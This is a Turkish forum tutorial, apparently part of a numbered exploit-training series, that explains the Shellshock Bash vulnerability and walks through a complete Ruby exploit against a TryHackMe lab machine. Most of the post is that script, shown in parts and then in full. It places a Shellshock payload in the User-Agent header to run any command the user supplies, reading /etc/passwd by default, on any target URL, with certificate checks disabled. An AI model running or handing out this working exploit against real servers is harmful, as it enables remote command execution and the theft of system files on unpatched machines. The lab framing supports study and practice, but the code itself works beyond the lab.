eline emeğine sağlık
Merhaba ben saldırı timlerinden Bunjo, bu konuda "Shellshock" açığından bahsedeğiç ve bununla alakalı bir exploit yazacağız.
Diğer Exploit Konularım:
Exploit Eğitimi #7 (WordPress)
Exploit Eğitimi #6 (FTP Fuzzer)
Exploit Eğitimi #5 (SMTP Enumeration)
Exploit Eğitimi #4 (Her Türden)
Exploit Eğitimi #3 (Gerçek Uygulama)(Apache DOS)
Exploit Eğitimi #2 (FTP DOS)
Exploit Eğitimi #1 (ANON-FTP)
Bash Bug Nedir?
Shellshock, özellikle Bash (Bourne Again SHell) adlı Unix tabanlı işletim sistemlerinde bulunan bir güvenlik açığıdır. Bu güvenlik açığı, 2014 yılında keşfedilmiştir ve oldukça ciddi sonuçlara neden olabilen bir açıktır. Shellshock açığı, özellikle web sunucuları gibi Bash tabanlı uygulamaları kullanan sistemlerde potansiyel olarak kötü niyetli saldırılara neden olabilir.
Shellshock açığı, Bash kabuk betiklerindeki bir hata nedeniyle ortaya çıkar. Bu hatanın temelinde, Bash kabuğunun çevresindeki çevresel değişkenleri düzgün bir şekilde işleme yeteneği eksikliği bulunmaktadır. Bu durum, saldırganların çeşitli hileli komutları bu çevresel değişkenlere yerleştirerek sistemde istenmeyen kodları yürütebilmelerine olanak tanır.
Shellshock açığı, saldırganlara sistemde yetkilere sahip olma veya başka zararlı eylemleri gerçekleştirme fırsatı tanıyabilir. Bu, genellikle CGI (Common Gateway Interface) betiklerini kullanan web sunucularında daha belirgin bir tehdit oluşturur. Saldırganlar, Shellshock açığı üzerinden hedef sistemlere kötü niyetli kod enjekte edebilir ve bu şekilde sistemi ele geçirebilir.
Bu tür güvenlik açıkları genellikle yazılım geliştiricileri ve sistem yöneticileri tarafından hızla düzeltilir ve yamalarla kapatılır. Shellshock açığına karşı alınan düzeltmeler, etkilenen sistemlerde Bash sürümlerini güncelleyerek ve ilgili yamaları uygulayarak gerçekleştirilir. Bu nedenle, sistem yöneticileri ve güvenlik uzmanları, sistemlerini düzenli olarak güncelleyerek ve güvenlik açıkları konusunda bilgi sahibi olarak bu tür tehditlere karşı koruma sağlamalıdır.
Ben exploiti TryHackMe içinde "0day" makinesi üzerinde uygulayacağım.
Exploit:
kütüphanelerimizi aktarıyoruz.
Ruby:#!/usr/bin/ruby require 'net/http' require 'uri' require 'openssl'
kullanıcıdan argümanları alıyoruz.
Ruby:if ARGV.size >= 1 target = ARGV[0] # Hedef İçin İlk Argüman command = ARGV[1] || "cat /etc/passwd" # Çalıştırılacak Komut target_uri = URI.parse(target) path = target_uri.path.empty? ? '/' : target_uri.path # Eğer Sonda / Yoksa / Ekliyoruz. headers = { "User-Agent" => "() { :; }; echo; echo; /bin/bash -c '#{command}';", # Komut Çalıştırılan Kısım "Accept-Language" => "en-US,en;q=0.5", [CENTER] "Accept-Encoding" => "gzip, deflate",[/CENTER] "Accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Connection" => "keep-alive" }
Burada "headers" adlı bir hash veri tipi oluşturuyoruz ve içine girdiğimiz veriler de bir http istediğinde kullanılan başlıklar. Eğer sistemde Shellshock açığı varsa buraya kötü amaçlı kodumuzu yazıp hedefte çalıştırabiliyoruz.
Son isteği yolluyoruz ve çıktı kontrolü yapıyoruz:
Ruby:http = Net::HTTP.new(target_uri.host, target_uri.port) # HTTP İsteğimizi Tanımladık http.use_ssl = (target_uri.scheme == 'https') http.verify_mode = OpenSSL::SSL::VERIFY_NONE if http.use_ssl? request = Net::HTTP::Get.new(path, headers) response = http.request(request) puts "[*] Sending Shellshock Exploit.. " puts "[+] Server response:" puts response.body else $stdout.puts "Usage: ruby #{__FILE__} <Target> <Command>" exit 0 end
Tüm Exploit:Ruby:#!/usr/bin/ruby require 'net/http' require 'uri' require 'openssl' if ARGV.size >= 1 target = ARGV[0] # Hedef İçin İlk Argüman command = ARGV[1] || "cat /etc/passwd" # Çalıştırılacak Komut target_uri = URI.parse(target) path = target_uri.path.empty? ? '/' : target_uri.path headers = { "User-Agent" => "() { :; }; echo; echo; /bin/bash -c '#{command}';", # Komut Çalıştırılan Kısım "Accept-Language" => "en-US,en;q=0.5", "Accept-Encoding" => "gzip, deflate", "Accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Connection" => "keep-alive" } http = Net::HTTP.new(target_uri.host, target_uri.port) # HTTP İsteğimizi Tanımladık http.use_ssl = (target_uri.scheme == 'https') http.verify_mode = OpenSSL::SSL::VERIFY_NONE if http.use_ssl? request = Net::HTTP::Get.new(path, headers) response = http.request(request) puts "[*] Sending Shellshock Exploit.. " puts "[+] Server response:" puts response.body else $stdout.puts "Usage: ruby #{__FILE__} <Target> <Command>" exit 0 end